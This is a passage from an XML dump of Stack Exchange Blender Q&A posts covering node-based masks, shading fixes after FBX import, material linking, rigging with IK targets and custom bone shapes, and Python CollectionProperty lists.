BY-SA 3.0" />
  <row Id="24795" PostTypeId="2" ParentId="24794" CreationDate="2015-02-15T13:12:48.947" Score="2" Body="&lt;p&gt;The explode modifier uses the particle system to guide the shards. To have the shards remain in place, set everything under Velocity and the Gravity influence under Field Weights in the particle system to zero.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L9JNO.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the particles won't fall due to gravity, and they will have no initial velocity, but they can still be affected by other force fields.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-02-15T13:12:48.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24796" PostTypeId="1" AcceptedAnswerId="24798" CreationDate="2015-02-15T13:25:38.243" Score="3" ViewCount="4262" Body="&lt;p&gt;I'm trying to work out a way to generate a mask based on a color ID texture in the material editor (not the compositor). What I'm trying to achieve is have a node group I can re-use which has two parameters, the first parameter is the color ID texture and the second parameter is the color from the texture I want to generate a mask from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included an illustration:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zlzZW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it working for some colors (such as red, green, or blue) but it didn't work in all cases, I also had a problem where the mask would show up properly when previewing it through an emissive shader but wouldn't show up when viewed through a normal diffuse shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="11606" LastActivityDate="2018-07-31T09:49:19.937" Title="Material Editor: Generate mask from color ID texture" Tags="&lt;texturing&gt;&lt;nodes&gt;&lt;masking&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24798" PostTypeId="2" ParentId="24796" CreationDate="2015-02-15T13:45:51.280" Score="6" Body="&lt;p&gt;Two independent node groups for creating a mask based on a color and a texture :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;material setup :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R3uNB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;strong&gt;first&lt;/strong&gt; node group outputs &lt;strong&gt;boolean&lt;/strong&gt; 1/0  ( all comparisions are &quot;less than &quot;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PnJHf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;strong&gt;second&lt;/strong&gt; node group outputs &lt;strong&gt;grayscale&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8MwTg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;adjust the sensitivity/clipping to get a good result &quot;sensitivity is added to overcome  errors due to rounding the numbers&quot;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-15T16:30:23.043" LastActivityDate="2015-02-15T16:30:23.043" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="24799" PostTypeId="1" AcceptedAnswerId="24806" CreationDate="2015-02-15T14:18:03.963" Score="3" ViewCount="3401" Body="&lt;p&gt;I imported a fbx file (a car) to blender and the shadows on the mesh get crazy. Can some one tell me why and how I can import without this mess shadows destroying the 3d Art.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a image of the problem:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UklYO.png&quot; alt=&quot;image of the problem&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11608" LastEditorUserId="2607" LastEditDate="2015-02-15T16:54:03.797" LastActivityDate="2020-03-04T02:11:00.337" Title="Blender FBX import issue - normals/shading" Tags="&lt;mesh&gt;&lt;export&gt;&lt;import&gt;" AnswerCount="3" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="24800" PostTypeId="1" CreationDate="2015-02-15T14:42:17.437" Score="0" ViewCount="142" Body="&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34408&quot; rel=&quot;nofollow&quot;&gt;file with the problem&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can anyone help with this file : I must bake the floor with a texture and a bump texture for the cavities and the renderer just does it and it is visualized on the 3D window (render preview) but the bake (also witout textures, bake to a 1024 pxls tex) doesn't work (no shadows, only grey color and light shine noise sparkles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a system to low the memory stress to do just this bake? &lt;/p&gt;&#xA;" OwnerUserId="11609" LastActivityDate="2015-02-16T07:31:21.267" Title="How can I bake to a texture a floor" Tags="&lt;cycles-render-engine&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24801" PostTypeId="2" ParentId="24701" CreationDate="2015-02-15T14:45:13.500" Score="2" Body="&lt;p&gt;Variation on Chebhou's answer : Origin and dimension independant :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TsTJL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure the sine works exactly the same.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-15T14:45:13.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24802" PostTypeId="1" CreationDate="2015-02-15T14:55:06.713" Score="0" ViewCount="185" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hLaRB.png&quot; alt=&quot;IMAGE PLACEMENT&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/73LIr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/73LIr.png&quot; alt=&quot;NODE SETUP&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hi guys, I'm a newbie in blender and I just want to ask how to map and image/graffiti in surfaces that already has texture in it where there is X MARK (see image attached)I have my node setup also attached. I tried the uv maps(below the vertex group) but I dont know how it works,I also tried overlaying using mixRGB node but it maps to every surface that has concrete.I cant control it&lt;/p&gt;&#xA;" OwnerUserId="11375" LastEditorUserId="3127" LastEditDate="2015-02-15T15:04:23.280" LastActivityDate="2015-02-15T15:09:25.890" Title="How to place image in a surface" Tags="&lt;uv&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24803" PostTypeId="2" ParentId="24802" CreationDate="2015-02-15T15:09:25.890" Score="3" Body="&lt;p&gt;A mix RGB node will work fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FiPvh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the alpha from the image on top for the fac input. You may need to try reversing which image is on top for best results.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-02-15T15:09:25.890" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="24804" PostTypeId="1" CreationDate="2015-02-15T15:43:03.980" Score="1" ViewCount="64" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H1yGf.jpg&quot; alt=&quot;description of problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how on earth I get the tool back to normal mode..... right now it's stuck at whereever my cursor-thing is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can switch between 4 modes, but none of them get's me back at how it was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried deleting the program and reinstalling because I can't figure it out and it seems like such a small thing, probably some hotkey I miss-clicked. Anyways, after deleting and reinstalling it just starts up with the same UI :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;such a small thing can be so god damn annoying!&lt;/p&gt;&#xA;" OwnerUserId="11610" LastActivityDate="2015-02-15T16:43:49.943" Title="how do I get the 'tool' back to my selection?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-02-15T20:15:46.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="24805" PostTypeId="2" ParentId="24804" CreationDate="2015-02-15T15:46:30.860" Score="1" Body="&lt;p&gt;Hit &lt;kbd&gt;,&lt;/kbd&gt; (Comma), it will set it back to the center&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7ic4P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Circled in green are the options that will return your manipulator widget to the correct location. The one in red is where you have it set now, which is why it is at the 3d cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also change it at the bottom of the 3d view.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-02-15T16:43:49.943" LastActivityDate="2015-02-15T16:43:49.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24806" PostTypeId="2" ParentId="24799" CreationDate="2015-02-15T16:37:38.357" Score="3" Body="&lt;p&gt;Your FBX file more than likely uses custom normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up to a one week ago, this was not supported at all by Blender, so custom normals were lost during import and you would get that ugly shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been fixed (added!) now in Blender master, please try it with an official build from &lt;a href=&quot;https://builder.blender.org/download&quot; rel=&quot;nofollow&quot;&gt;the buildbot&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-02-15T16:37:38.357" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24807" PostTypeId="1" CreationDate="2015-02-15T16:54:50.990" Score="0" ViewCount="685" Body="&lt;p&gt;How can I export a model from Blender to Cryengine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using CryBlend also, but that does not work either. &lt;/p&gt;&#xA;" OwnerUserId="11614" LastEditorUserId="5426" LastEditDate="2016-12-31T19:00:47.443" LastActivityDate="2016-12-31T19:00:47.443" Title="Export a model from Blender to Cryengine" Tags="&lt;export&gt;&lt;blend-files&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24808" PostTypeId="2" ParentId="16511" CreationDate="2015-02-15T17:09:52.790" Score="13" Body="&lt;p&gt;Part of the confusion with my question came from the fact I &lt;em&gt;presumed&lt;/em&gt; that defining an EnumProperty was the correct, and only, way to store a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I didn't quite understand was that the CollectionProperty itself would act like a list. I can have much the same code as I had before, minus the enum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class customPropertiesGroup(bpy.types.PropertyGroup):&#xA;    customString = bpy.props.StringProperty()&#xA;bpy.utils.register_class(customPropertiesGroup)&#xA;&#xA;bpy.types.Scene.customLists = bpy.props.CollectionProperty(type=customPropertiesGroup)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And every time I want to add a new item I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newCustomItem = bpy.context.scene.customLists.add()&#xA;newCustomItem.customString = &quot;test1&quot;&#xA;newCustomItem = bpy.context.scene.customLists.add()&#xA;newCustomItem.customString = &quot;test2&quot;&#xA;etc..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can then access each custom item with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.customLists[0].customString&#xA;bpy.context.scene.customLists[1].customString&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I want nested lists I can simply have the PropertyGroup Class' property as another CollectionProperty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class subcustomPropertiesGroup(bpy.types.PropertyGroup):&#xA;    customString = bpy.props.StringProperty()&#xA;bpy.utils.register_class(subcustomPropertiesGroup)&#xA;&#xA;class customPropertiesGroup(bpy.types.PropertyGroup):&#xA;    subLists = bpy.props.CollectionProperty(type=subcustomPropertiesGroup)    &#xA;bpy.utils.register_class(customPropertiesGroup)&#xA;&#xA;bpy.types.Scene.customLists = bpy.props.CollectionProperty(type=customPropertiesGroup)&#xA;&#xA;newcustomList = bpy.context.scene.customLists.add()&#xA;newcustomList.name= &quot;List 1&quot;&#xA;newSubList = bpy.context.scene.customLists[&quot;List 1&quot;].subLists.add()&#xA;newSubList.name = &quot;Sub List 1&quot;&#xA;newSubList.customString = &quot;String 1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows me to have an arrangement where I can access lists and sublists like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.customLists['List 1'].subList['Sub List 1'].customString&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can add or remove items (with &lt;code&gt;customLists.remove(index)&lt;/code&gt;) and print them out like I would a normal python list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for customList in bpy.context.scene.customLists:&#xA;&#xA;    print(&quot;List: &quot;+customList.name)&#xA;&#xA;    for subList in customList.subLists:&#xA;&#xA;        print(&quot;Sub List: &quot;+subList.name)&#xA;        print(&quot;Custom property: &quot;+subList.customString)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And because I am not clearing the list each time I define it (as I was in the question) the properties become available again after reloading the file and re-running the code.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-07-05T16:42:08.257" LastActivityDate="2015-07-05T16:42:08.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24809" PostTypeId="1" CreationDate="2015-02-15T17:19:56.123" Score="1" ViewCount="102" Body="&lt;p&gt;My question will definitely sound incredibly noobish, but I started to play with 3D graphics and Blender just a few days ago (after a month-lasting struggle with OpenGL basics) and I've run into trouble. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &quot;created&quot; a nice small bunch of models for a 3D game, determined that I wouldn't use a single texture for the appearence of the objects. This is what they look like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GUKjk.png&quot; alt=&quot;A bench, house, trees and stones&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm trying to create some environment (terrain, lights...), but all of my previous attempts have failed.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I tried to create a hill without modifying it´s color. Result: the hill is unrecognizable, it has just the same color as everything else. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IcaXP.png&quot; alt=&quot;Can you see it? I can&amp;#39;t.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;I played with Z-transparency. Result: better, but nothing delighting. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V5o0A.jpg&quot; alt=&quot;Huh?! What the hack is this?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of trying and experiencing failure again, I want to ask: is there any way I could create (a visible) terrain consisting of hills and valleys without using textures? Are there any specific ways of doing things when doing &quot;cartoon graphics&quot;?&lt;/p&gt;&#xA;" OwnerUserId="142" LastActivityDate="2015-03-17T18:52:25.547" Title="Environment choice for a color-only objects" Tags="&lt;texturing&gt;&lt;objects&gt;&lt;light&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24810" PostTypeId="1" CreationDate="2015-02-15T17:23:43.577" Score="1" ViewCount="93" Body="&lt;p&gt;I was watching this video and i noticed some scribble like things that controls the bones like IK what is it?  video: &lt;a href=&quot;https://www.youtube.com/watch?v=NkJPfGEcrrA&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=NkJPfGEcrrA&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/q8cPF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11454" LastActivityDate="2015-02-15T17:56:44.440" Title="what are these scribble controls called?" Tags="&lt;animation&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24811" PostTypeId="2" ParentId="24810" CreationDate="2015-02-15T17:27:06.503" Score="3" Body="&lt;p&gt;I believe what you are calling 'scribbles' are the 'custom bone shapes'. Instead of animating the actual bones of the armature, which can be fiddly, it can sometimes be easier to add a custom shape which represents the bone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These might be shaped to represent the feature of the armature that they control; a bone that controls an eyebrow might be replaced with a custom bone shape that is in the shape of an eyebrow, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom bones can be set in the display panel of the 'Bone' tab in the 'Properties' area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9moKu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a mesh is selected as the custom bone shape, the bone it represents will be hidden. The custom bone shape can then be moved or rotated in the same way the original bone could have been.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-15T17:56:44.440" LastActivityDate="2015-02-15T17:56:44.440" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24812" PostTypeId="1" CreationDate="2015-02-15T17:29:32.663" Score="4" ViewCount="2125" Body="&lt;p&gt;I am following through the exercises in BlenderBasics_4thEdition2011.pdf and have gotten to the section on texturing.  The book goes through the creation of a Lighthouse and now I am texturing it.  I want to have a closeup view of the roof of the lighthouse after partitioning it as the lesson describes on page 54.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get a close up view I selected the roof and want to center the screen on the vertices of it so I pressed the &lt;kbd&gt;Numpad .&lt;/kbd&gt; key.  When I do that the view zooms so that the roof is off the screen.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lxrbD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried Ray's answer and was able to move the origin but pressing the &lt;kbd&gt;Numpad .&lt;/kbd&gt; key still did not work.  The centering was still on the bottom of the lighthouse, as if the origin was still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wUR3s.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="5426" LastEditDate="2015-12-14T17:22:27.123" LastActivityDate="2017-07-26T14:02:28.293" Title="Zooming in to a selection of vertices with the period key does not work as expected" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24814" PostTypeId="2" ParentId="24809" CreationDate="2015-02-15T18:17:11.673" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;enable Ambient occlusion to get better lighting &quot; you should lower the light source intensity &quot;  &lt;/li&gt;&#xA;&lt;li&gt;move the light source to get the shadows where you want&lt;/li&gt;&#xA;&lt;li&gt;use proportional editing to create hills &lt;/li&gt;&#xA;&lt;li&gt;add decimate modifier to get the LOW POLY look &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-15T18:17:11.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24815" PostTypeId="1" AcceptedAnswerId="24817" CreationDate="2015-02-15T18:23:31.043" Score="4" ViewCount="246" Body="&lt;p&gt;I have this node setup :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZY3rB.jpg&quot; alt=&quot;Node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to improve it a bit giving the cylinder light a capsule shape like that :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hf5ds.jpg&quot; alt=&quot;capsuling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shape can be at any side, or both, you choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The distance of the red circle to object's bound has to be a parameter or relative to &quot;border distance&quot; node.&lt;br&gt;&#xA;Same condition for the size (X axis) of the blue hemishpere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it could help to have the object's axis (same as world axis) :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iniaT.jpg&quot; alt=&quot;axis&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-16T16:14:05.450" Title="Capsuling a tube shape in a volume" Tags="&lt;nodes&gt;&lt;shaders&gt;&lt;mathematics&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24816" PostTypeId="1" CreationDate="2015-02-15T18:30:05.223" Score="0" ViewCount="56" Body="&lt;p&gt;I am imported a *.mhx file in blender to do a walk animation. I remark that each control FK/IK has a seperate coordinate system. However, I need to get the coordinate of each part of model (feet,..) in the world coordinate system (master).&#xA;For example here , the z coordinate of  the foot is negative but in the master coordinate system it will be positive. I need that to get the long of the stride for example and to check the position of feet on the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QCCHJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-02-15T18:30:05.223" Title="Coordinate of each part of body in .mhx" Tags="&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;coordinates&gt;&lt;makehuman&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24817" PostTypeId="2" ParentId="24815" CreationDate="2015-02-15T19:13:52.513" Score="6" Body="&lt;p&gt;Ok, after quite a bit of experimentation, this is what I came up with:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7o3ho.jpg&quot; alt=&quot;cleaned noodles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The green group (which is duplicated, because I couldn't get it to work otherwise) creates  half spheres, which I then append to the ends of a cylinder. As of now, changing the node setup is made so that the cylinder is aligned with the &lt;em&gt;Z axis&lt;/em&gt;; you can model your object that way, to start, and then rotate it around, remembering &lt;em&gt;not&lt;/em&gt; to apply the rotation. Also, changing the &lt;code&gt;Z Cylinder Scale&lt;/code&gt; input value in the material allows you to scale the whole construction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the blend file &lt;a href=&quot;http://www.pasteall.org/blend/34439&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="11431" LastEditDate="2015-02-15T20:46:03.357" LastActivityDate="2015-02-15T20:46:03.357" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24818" PostTypeId="1" CreationDate="2015-02-15T19:48:03.737" Score="1" ViewCount="763" Body="&lt;p&gt;In Cycles, I imported a car, which a bunch of parts (in .obj format) I assembled together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, when I apply a shader to one part, it does the same to  a bunch of other objects, like the ones with the same color or property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could be because in this editor where I put the vehicle together, all the object's names are the same or something?&lt;/p&gt;&#xA;" OwnerUserId="9583" LastActivityDate="2015-02-15T20:06:37.783" Title="How to make objects independent?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24819" PostTypeId="2" ParentId="24818" CreationDate="2015-02-15T20:06:37.783" Score="1" Body="&lt;p&gt;To add multiple materials to an object which I believe will help, do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select different faces.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8JU3n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XbXGw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;After preparing your various materials, select a material and press &quot;apply.&quot;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7oJpV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tadaa!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nWWXR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I really hope that helps. :)&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-02-15T20:06:37.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24820" PostTypeId="1" AcceptedAnswerId="24825" CreationDate="2015-02-15T20:24:57.317" Score="1" ViewCount="524" Body="&lt;p&gt;I have seen numerous tutorials about rigging and animation of armatures. Whats bugs me is why everyone of it uses a extra bone as IK target and not something that is not related to the armature? like a spehre or other primitive mesh that is not part of the mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine the case where I don't want to render the animation in blender but want to export it then  there would be two useless bones along with the Armature which are not used in animation anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just why use a extra bone why not animate with a seperate object or mesh for IK?&lt;/p&gt;&#xA;" OwnerUserId="11454" LastActivityDate="2015-02-15T21:18:08.100" Title="Why use bone as target for IK?" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;animation&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24821" PostTypeId="1" CreationDate="2015-02-15T20:52:35.623" Score="0" ViewCount="394" Body="&lt;p&gt;I did Shift + L to select objects with the same default material, but now how do I apply a material to all of those?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will only apply a material to the original one I wanted to compare the other objects with.&lt;/p&gt;&#xA;" OwnerUserId="9583" LastActivityDate="2015-02-15T21:16:04.973" Title="I Used Shift + L to select all objects in common.. how do I apply a material to all of those now?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-02-15T22:14:11.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="24822" PostTypeId="1" CreationDate="2015-02-15T20:54:05.953" Score="0" ViewCount="1034" Body="&lt;p&gt;While working on my project, I completely rigged only one half of a mesh without the mirror modifier applied. I obviously want the whole thing rigged - Am Ia forced to redo the whole thing to get the other side? (Is there a way to just mirror the whole thing with the rig data?)&lt;/p&gt;&#xA;" OwnerUserId="11619" LastEditorUserId="5426" LastEditDate="2017-12-23T00:47:24.180" LastActivityDate="2017-12-23T00:47:24.180" Title="Is there any way to mirror an already rigged mesh and skeleton in Blender?" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24824" PostTypeId="2" ParentId="24821" CreationDate="2015-02-15T21:16:04.973" Score="0" Body="&lt;p&gt;You select all the objects that you want to apply material to, with the one that you already applied material to as the last selected one, then hit CTRL+L (make links) and choose Materials from drop down list.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2015-02-15T21:16:04.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24825" PostTypeId="2" ParentId="24820" CreationDate="2015-02-15T21:18:08.100" Score="4" Body="&lt;p&gt;The real reason is &lt;strong&gt;Bone targets positions can be stored in pose library&lt;/strong&gt;. Also the scene is cleaner if everything is under armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to export the armature and another rig setup suits that better its ok. You can use anything you want for IK target.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-15T21:18:08.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24826" PostTypeId="1" AcceptedAnswerId="24827" CreationDate="2015-02-15T21:33:08.690" Score="4" ViewCount="355" Body="&lt;p&gt;Using the node editor and Cycles, how can I define a material that looks like a torus? This is useful in order to render a really smooth torus, without needing to a bazillion vertices. &lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="11431" LastEditDate="2015-02-15T23:06:36.383" LastActivityDate="2015-12-15T21:21:38.717" Title="How to mathematically define a torus in a volume" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
